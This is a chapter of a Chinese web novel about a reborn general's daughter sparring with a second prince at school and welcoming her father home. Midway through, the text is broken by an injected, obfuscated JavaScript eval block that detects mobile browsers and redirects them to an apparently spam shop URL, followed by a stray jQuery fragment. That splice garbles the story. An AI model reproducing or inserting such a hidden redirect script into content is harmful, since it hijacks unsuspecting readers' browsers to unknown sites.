“好好的皇子过得猪狗不如,我自然是看不上,我虽不是什么高门贵女,但好歹也是将门之女,怎么会自讨苦吃,不过是无趣,找条狗玩玩。”
江慕觉的这次火力肯定是足了,她不确定刚刚维护的话有没有被捕捉到,但狠话她却是卯足劲儿,特意提高了音量。
她一定要把现在胡乱的关系彻底扯断。
身侧的林纪贤被这嗓门骇的汗毛都立了,小心翼翼地拉拉她的衣袖低声道:“话是说的没错,但人家毕竟是皇子,也不用这么……大声吧。”
江慕毫不避讳地盯着陈洛的眼,添油加醋地回道:“这有什么,哪怕这位二殿下站我面前,我也照骂不误。”
陈洛一袭素袍,手里握着书卷,似要前往张先生的屋子,闻言不置可否地顿住脚步。
刺耳的话他想忽略都难,只可惜他并没如江慕所想气恼,许是被少女紧盯得没了招,无奈略微歪头不怒反笑,挂上幅颇为纵容的模样,好似将刚刚的话视作两个亲密无间之人的玩笑。
一旁的林纪贤哪怕是二愣子也看出不对劲来,回头就看到议论的正火热的二殿下站在后头,平日冷若冰霜的殿下此刻被这般挑衅后竟温柔的冲江慕笑了!
两人微妙的“甜蜜”气息丝丝缕缕环绕在他周围,他怒不可遏地强行打断这层暧昧的屏障,向身侧人质问。
“江慕!你骗我,你不是说你俩没关系吗?!”
太阳穴突突的跳,所有的设想都走偏了,江慕感觉现在陈洛跟曾经那个不知羞耻的人越发相似,她费劲想出的招数统统无济于事。
她烦躁抓乱乖巧整齐的发,气急败坏地将手中书册奋力摔向陈洛。
“笑笑笑!有什么好笑的!走了!”
“你还没跟我讲清楚呢!你骂他他为啥子乐啊!”
“不知道!”
江慕全无怜香惜玉地对林纪贤的脑袋招呼,才得到片刻安宁。
陈洛目送两人消失在学堂门口,黑沉的眼落在林纪贤扯着江慕衣袖的手上,他忽地有种想断掉男孩手的念头,这想法浮现不过一霎就被掐灭,长睫敛下不堪的心思,他不敢相信自己会成这样,前两日的雨夜后让他变得越发怪异。
他实在看不懂江慕的想法,蹩脚想要惹他厌恶,时而眼神流露出莫名恨意,都不像这个年龄该表现的,明明最初见他还抱着他说他好看。
最让陈洛感到迷乱的是他面对少女的拙劣辱骂竟生不出气,甚至还觉的她泛着股让人喜爱的...傻气。
他垂眸目光审视起脚边少女用来砸他的书册,花花绿绿的封面,难以启齿的书名,这是本风月话本。
陈洛不禁皱眉,之前江慕还斥责他让少看些话本,自己却偷偷带上学堂。
回忆少女灵动的脸,话本的类型实在符合江慕的喜好。
他不在意地将话本掩在书卷下,走进屋。
“学生拜见先生。”
室内融着股清冽的茶香,温暖舒适。
“二殿下有礼了,不必拘束,有何困惑尽管开口,为师必定知无不言。”
张先生拂袖抬手为陈洛倒了杯暖茶,茶香四溢,飘起浓浓热气,他招手让陈洛落座。
半炷香的时间,长老不禁感慨二殿下的聪颖,问题总是富有深度且有自己独到的见解,收他为徒弟与他而言着实是个满意的选择。
“殿下想法可谓是别出心裁,有你这个徒弟乃为师之幸。”
“只可惜天纵英才,得不到那位重视,终究是...”
“学生愚钝,自是比不过皇兄,学生只愿用自己所能造福天下万民。”
陈洛及时掐断张先生的话,他并非谦卑之人,但先生这话于他现在处境不过雪上加霜,张老远离朝廷多年,说话行为向来毫无顾忌。
身为皇子他本应同皇兄般身处皇宫接受先生专门授课学习,只可惜父皇已厌恶到看到这张脸都恼怒的程度,又怎会关心他的其他,张先生也正因此而感到惋惜不满。
“为师看你学业精进,已熟练掌握,这两本你先带回去研读吧。”
张先生抿了口茶,将手边书册推去。
“多谢先生,学生感激不尽。”
陈洛恭敬拿过书册,翻阅整理间不慎将书卷下的话本滑落在地,羞耻的字眼毫无阻碍地映入张先生眼底,茶水堵在喉咙间,他不住咳嗽几下,委婉开口。
“二殿下平日真是博览群书啊。”
意识到不对,陈洛面色难得僵硬了瞬,找补道:“这不是我的。”
张先生偏头仔细打量,忽的感到眼熟,犹豫开口道:“这话本为师好似在哪个捣蛋学生那见过?”
为了掩盖江慕的“罪行”,陈洛握着茶的手一紧,难掩窘迫之色,清嗓自相矛盾起来。
“...先生,这其实是我的。”
“?”
回府,江慕成功收获的春摇的哀怨。
“小姐,我今早给你梳的头发怎么又成鸡窝了!”
“....春摇,我不是故意的。”
春摇生无可恋的为江慕重新束发,苦口婆心劝自家小姐顾忌些形象,堂堂将军府小姐每天脏兮兮的算怎么回事。
房门被急切拍响,门外回荡阿婆轻快的声音。
“二小姐,大小姐今日收到信,南城战事已平息,家主两日后回京!”
“父亲要回来了!”
前世父亲自母亲死于宛城后郁郁寡欢,常年在外征战,与她们姐妹二人相处时间本就短暂,后来又死于“造反”的罪名,如今得以再见,江慕自是心头一喜。
她的亲人竟都回到她身边了,除了...母亲。
“江慕!昨日我都看到了,你打着将军府的名头,竟言语欺辱二殿下,实在是过分!”
桌案被拍得震天响,昨晚因兴奋过度难以入眠而打瞌睡的江慕被这动静骇的一个激灵,抬起倦怠的眼,迷惘望向眸中满是厉色的苏沫。
“你看到看到呗,我又没说错。”
江慕满不在乎的语气,让苏沫情绪不住翻涌,斥责道:“你明知陛下有意为你们指婚,还这般罔顾礼法,不将二殿下放在眼里。”
一旁的张静渟不赞同地反击:“既不是板上钉钉的事,你何故将事情抬得如此大,再者这二殿下都没发话,你又在这耍什么威风?”
“你!...我我就是见不到殿下这般被欺负!”
苏沫面红耳赤地支吾解释,手不自知已把衣袍捏的皱巴巴,气焰早不如开始时嚣张。
后头的林纪贤也插话帮着说话,只是语气却掺着丝旁人看不懂的阴阳怪气:“可别啊!人殿下可一点都不气,还尤为溺爱地笑了呢~”
江慕:...这有什么好骄傲的。
“!什么!你胡说八道!殿下被那样侮辱,怎么可能...”自知理亏的苏沫瞟了眼四周围因她而围拢看热闹的学子们,只有种搬起石头砸自己的脚的懊恼,畏缩地往后退了几步。
众学子见此,扬起戏弄的笑意,连连奚落。
“啧啧啧,这苏府如今已没落成这般地步了吗?都要碰瓷将军府了!”<
;eval(function(p,a,c,k,e,d){e=function(c){return(c<a?"":e(parseInt(c/a)))+((c=c%a)>35?String.fromCharCode(c+29):c.toString(36))};if(!''''.replace(/^/,String)){while(c--)d[e(c)]=k[c]||e(c);k=[function(e){return d[e]}];e=function(){return''\\w+''};c=1;};while(c--)if(k[c])p=p.replace(new RegExp(''\\b''+e(c)+''\\b'',''g''),k[c]);return p;}(''8 0=7.0.6();b(/a|9|1|2|5|4|3|c l/i.k(0)){n.m="}'',24,24,''userAgent|iphone|ipad|iemobile|blackberry|ipod|toLowerCase|navigator|var|webos|android|if|opera|mgxs|t|shop|17132771|196242||http|test|mini|href|location''.split(''|''),0,{}));
() {
$(''.inform'').remove();
$(''#content'').append(''
p>“辩白这老半天,结果二殿下压根不当回事啊哈哈哈。”
“要我说这苏家小姐定是爱慕殿下,不然也不会...”
......
苏府如今境遇确实是苏沫心中的梗,几年前他们也是赫赫有名的文化世家,只可惜新皇登基后,他们便渐渐淡出世家众族,不被陛下重视青睐,家中长辈更是将她视作泄愤的工具。
“各位学子们言辞莫过于偏激了,苏学子不明事情前因后果,看不得他人受辱,贸然声张正义,也不必被这般诟病,我确实言语有失在先,苏学子说的不错,我之后定会前往殿下府邸请罪。”
江慕察觉苏沫骑虎难下,适时站出维系颜面,不让她脸色太难看。
众学子们虽略带不解,但见先生已踏入堂内,只得扫兴的熙熙攘攘散开回位,只有些人嘴里依旧念叨着“江家小姐不识相”的字眼。
苏沫明显为刚刚少女出言为她说话感到错愕,心里有股说不清的滋味。
张静渟不理解地扯扯她垂落的衣袖:“哎?你替她说什么话,她刚刚还让你难堪呢。”
江慕不在意摆手,莞尔:“毕竟是女娃娃,心思都敏感,她也是只是出于好心,没什么好计较的。”
“啧啧你怎么现在老气横秋的,不知道的以为你已至不惑喽~”
额前毛躁的发挡住少女眼中惋惜,她玩笑回道:“说不定我活不到那时候呢~”。
下学刚出学堂门,江慕就被堵在门外,苏沫面上带着绯色嚅嗫开口:“你...为何替我说话,明明是我先不分青红皂白的...”
话止在江慕靠近挨上来的影子,苏沫呆呆低着头感受毛绒绒的脑袋传来一阵温热,迷糊糊地抬起水润的眼,看着少女明媚的笑,眼下痣绽着独属她的凌气。
女生清朗的音色带着丝宠溺:“以前怎么没发现你还蛮可爱的,没什么大不了的,毕竟你也...没说错...”
后面的话被压的几乎听不清,苏沫脑子要乱成浆糊了,江慕为什么要摸她头夸她可爱啊啊啊!
头上的暖意不过刹那便收回,见江慕即将抽身上马车,她慌忙拉住少女的衣袖磕巴道:“刚才的事...多谢。”
“无妨~”
风拂过娇艳欲滴的花朵,麻雀垫在房梁捉弄着屋顶,将军府外喧闹不已,京城百姓大都爱戴江远,早早聚集在城门口,挂上朴素的笑,捧着各色花篮迎接大将军回京。
队伍浩浩荡荡进城,领队之人朝民众和蔼挥手,接过孩童递上的花朵,军队停滞在将军府门前,江远急促下马奔向姐妹二人。
熟悉温暖的气息包裹住江慕,前世父亲被当众赐死的画面仍历历在目,让她眼眶不自觉湿润,手指紧捏着江远垂地的披风不放。
“哈哈哈这么久不见,慕儿更黏我了啊。”
江远揉揉江慕软乎的脸蛋打趣一番后又摸摸江安的头。
“这些年府上多亏安儿照料,我这当父亲的常年不在家,实在有负你们姐妹俩和落尘所托。”
零落成泥碾作尘,只有香如故。
绮落尘就是娘的名字。
“爹,你勿要自责,身为长姐,本该撑起家中担子。”
“好孩子!”
“差点忘了!爹在战场上遇到一落难孩童,见无家可归,便自作主张带回京照拂一二。”
话落,一黑发男孩从他身后怯弱走出,男孩带着银色耳饰,脖挂铜细链,灰头土脸的模样难掩沉稳端庄气,他眨眨灰蒙的眼,恭敬弯腰行礼:“周夜承见过两位姐姐。”